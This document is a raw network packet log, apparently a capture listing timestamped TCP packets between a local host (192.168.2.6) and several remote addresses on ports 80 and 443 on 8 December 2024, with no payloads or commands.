Dec 8, 2024 17:45:48.742666006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.742666006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.743509054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.743580103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.743644953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.743927002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.744152069 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.744167089 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.744218111 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.744225025 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.744402885 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.744605064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.744616032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.744663954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.750221014 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.750236034 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.750291109 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.750298023 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.750686884 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.756510019 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.756527901 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.756583929 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.756592035 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.756644011 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.763151884 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.763169050 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.763240099 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.763246059 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.763276100 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.794857979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.794977903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.794996023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.795361996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.795363903 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.795552969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.795562029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.795695066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.795718908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.795764923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.796710014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.796847105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.796850920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.796932936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.797595024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.797749043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.798362970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.798599958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.798679113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.798681021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.799386024 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.799676895 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.799796104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.799945116 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.800678968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.800765038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.800823927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.801664114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.801768064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.801820993 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.802691936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.802758932 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.802843094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.803749084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.803850889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.804522038 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.804688931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.804755926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.804877996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.805692911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.805769920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.805804968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.805823088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.806740046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.806802034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.806853056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.806915045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.807761908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.807818890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.807955027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.808073997 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.808774948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.808852911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.808887005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.808959007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.809828043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.809900999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.809922934 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.810184002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.810806036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.811014891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.811080933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.811832905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.811995983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.812109947 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.812808990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.812891960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.812920094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.813062906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.813818932 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.813889027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.813976049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.814058065 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.814857006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.814955950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.815016031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.815853119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.815917015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.815974951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.816112995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.816906929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.816977024 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.817014933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.817063093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.817955971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.818012953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.818037987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.818073988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.818926096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.819015980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.819053888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.819053888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.819993019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.820058107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.820101976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.820221901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.821182013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.821270943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.821279049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.821326971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.822110891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.822148085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.822175026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.822222948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.823173046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.823239088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.823272943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.823331118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.824002981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.824064970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.824095011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.824249029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.825002909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.825053930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.825119019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.825212955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.826030016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.826114893 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.826139927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.826201916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.827024937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.827178955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.827290058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.827555895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.907341957 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.907363892 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.907413960 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.907423019 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.907440901 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.907465935 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.913475037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.913577080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.913583994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.913794994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.913808107 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.913822889 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.913858891 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.913867950 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.913892031 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.913908005 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.913961887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.914088964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.914127111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.914127111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.914973021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.915060043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.915144920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.915364027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.915994883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.916058064 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.916119099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.916166067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.917036057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.917125940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.917135000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.917177916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.918081045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.918122053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.918162107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.918268919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.919104099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.919178009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.919193983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.919214010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.920084953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.920150042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.920173883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.920206070 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.920222044 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.920237064 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.920279026 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.920286894 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.920310020 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.920334101 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.921119928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.921152115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.921236992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.921236992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.922106981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.922117949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.922166109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.922166109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.923124075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.923136950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.923177958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.923192024 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.924155951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.924242020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.924276114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.924319983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.925154924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.925291061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.925297022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.925379992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.926125050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.926260948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.926358938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.926676035 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.926690102 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.926769972 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.926779985 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.927198887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.927258968 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.927292109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.927335024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.927510023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.928358078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.928426027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.928536892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.928580046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.929541111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.929598093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.929647923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.929792881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.930722952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.930833101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.930896044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.930896044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.931654930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.931680918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.931701899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.931719065 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.932512045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.932554960 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.932621956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.932621956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.932936907 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.932955027 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.933068991 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.933079004 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.933160067 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.933160067 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.939029932 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.939044952 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.939093113 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.939100027 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.939368963 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.944909096 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.944926023 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.944984913 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.944993019 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.945028067 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.947846889 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.947916985 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.947922945 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.947952986 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.948009014 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.955332041 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.955343008 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.987189054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.987258911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.987282038 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.987302065 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.987394094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.987449884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.987566948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.987828016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.988334894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.988411903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.988465071 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.988513947 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.989228010 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.989295006 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.989341974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.989397049 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.989433050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.989531994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.989578009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.989768982 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.989785910 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.989978075 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.989984035 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.990381002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.990441084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.990519047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.990618944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.990911007 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.990981102 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.991111994 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.991425037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.991563082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.991621017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.991686106 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.991759062 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.991811037 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.992037058 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.992098093 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.992373943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.992432117 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.992492914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.992543936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.992563963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.992650032 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.992661953 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.992718935 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.992731094 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.992908001 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.992966890 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.993119001 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.993381023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.993486881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.993536949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.993971109 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.993985891 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.994117022 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.994122982 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.994405031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.994489908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.994509935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.994570017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.995162010 CET	49839	443	192.168.2.6	13.107.246.63
